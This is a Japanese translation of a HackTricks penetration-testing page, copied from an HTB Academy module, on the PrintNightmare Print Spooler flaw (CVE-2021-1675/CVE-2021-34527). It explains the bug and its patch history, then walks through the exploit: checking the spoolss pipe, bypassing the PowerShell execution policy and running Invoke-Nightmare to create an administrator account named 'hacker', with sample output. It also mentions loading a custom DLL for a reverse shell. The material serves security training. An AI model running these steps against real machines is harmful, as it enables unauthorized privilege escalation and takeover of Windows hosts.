hacktricks/windows-hardening/active-directory-methodology/printnightmare.md
2023-07-07 23:42:27 +00:00

9.5 KiB
Raw Blame History

PrintNightmare

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

このページはhttps://academy.hackthebox.com/module/67/section/627からコピーされました。

CVE-2021-1675/CVE-2021-34527 PrintNightmareは、リモート印刷とドライバのインストールを許可するために使用されるRpcAddPrinterDriverの欠陥です。
この機能は、通常、組み込みの管理者グループおよびプリントオペレーターのユーザーがエンドユーザーのマシンにリモートでプリンタードライバをインストールする必要がある場合に予約されている、Windows特権SeLoadDriverPrivilegeを持つユーザーにドライバを追加する機能を提供することを意図しています。

この欠陥により、認証済みのユーザーは特権を持たなくても印刷ドライバを追加できるようになり、影響を受けるシステムのいずれにおいても、攻撃者はシステム全体でSYSTEMとしてリモートでコードを実行することができます。この欠陥は、サポートされているWindowsのすべてのバージョンに影響を与えます。また、Print Spoolerはデフォルトでドメインコントローラ、Windows 7および10で実行され、Windowsサーバーでもよく有効にされているため、これは大規模な攻撃対象となります。そのため、「ナイトメア」と呼ばれています。

Microsoftは最初に問題を修正しないパッチをリリースしました早期のガイダンスではSpoolerサービスを無効にすることが推奨されていましたが、多くの組織には実用的ではありません。しかし、2021年7月にパッチと、特定のレジストリ設定が0に設定されているか未定義であることを確認するためのガイダンスをリリースしました。

この脆弱性が公開されると、PoCのエクスプロイトが比較的迅速にリリースされました。@cube0x0によるこのバージョンは、修正されたImpacketの変更バージョンを使用して、リモートまたはローカルで悪意のあるDLLを実行するために使用できます。このリポジトリには、C#の実装も含まれています。
このPowerShellの実装は、クイックなローカル特権昇格に使用できます。デフォルトでは、このスクリプトは新しいローカル管理者ユーザーを追加しますが、ローカル管理者ユーザーの追加がスコープ外の場合は、逆シェルなどを取得するためにカスタムDLLを指定することもできます。

Spoolerサービスの確認

次のコマンドを使用して、Spoolerサービスが実行されているかどうかを簡単に確認できます。実行されていない場合、"パスが存在しません"というエラーが表示されます。

PS C:\htb> ls \\localhost\pipe\spoolss


Directory: \\localhost\pipe


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
spoolss

PrintNightmare PowerShell PoCを使用してローカル管理者を追加する

まず、ターゲットホストで実行ポリシーをバイパスします。

PS C:\htb> Set-ExecutionPolicy Bypass -Scope Process

Execution Policy Change
The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose
you to the security risks described in the about_Execution_Policies help topic at
https:/go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution policy?
[Y] Yes  [A] Yes to All  [N] No  [L] No to All  [S] Suspend  [?] Help (default is "N"): A

今、PowerShellスクリプトをインポートして、新しいローカル管理者ユーザーを追加することができます。

PS C:\htb> Import-Module .\CVE-2021-1675.ps1
PS C:\htb> Invoke-Nightmare -NewUser "hacker" -NewPassword "Pwnd1234!" -DriverName "PrintIt"

[+] created payload at C:\Users\htb-student\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_am
d64_ce3301b66255a0fb\Amd64\mxdwdrv.dll"
[+] added user hacker as local administrator
[+] deleting payload from C:\Users\htb-student\AppData\Local\Temp\nightmare.dll

新しい管理者ユーザーの確認

計画通りに進んだ場合、私たちはコントロール下に新しいローカル管理者ユーザーを持っているはずです。ユーザーの追加は「騒々しい」ですので、ステルスが考慮される評価ではこれを行うことは望ましくありません。さらに、アカウントの作成が評価の範囲内にあることをクライアントと確認する必要があります。

PS C:\htb> net user hacker

User name                    hacker
Full Name                    hacker
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            ?8/?9/?2021 12:12:01 PM
Password expires             Never
Password changeable          ?8/?9/?2021 12:12:01 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   Never

Logon hours allowed          All

Local Group Memberships      *Administrators
Global Group memberships     *None
The command completed successfully.
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥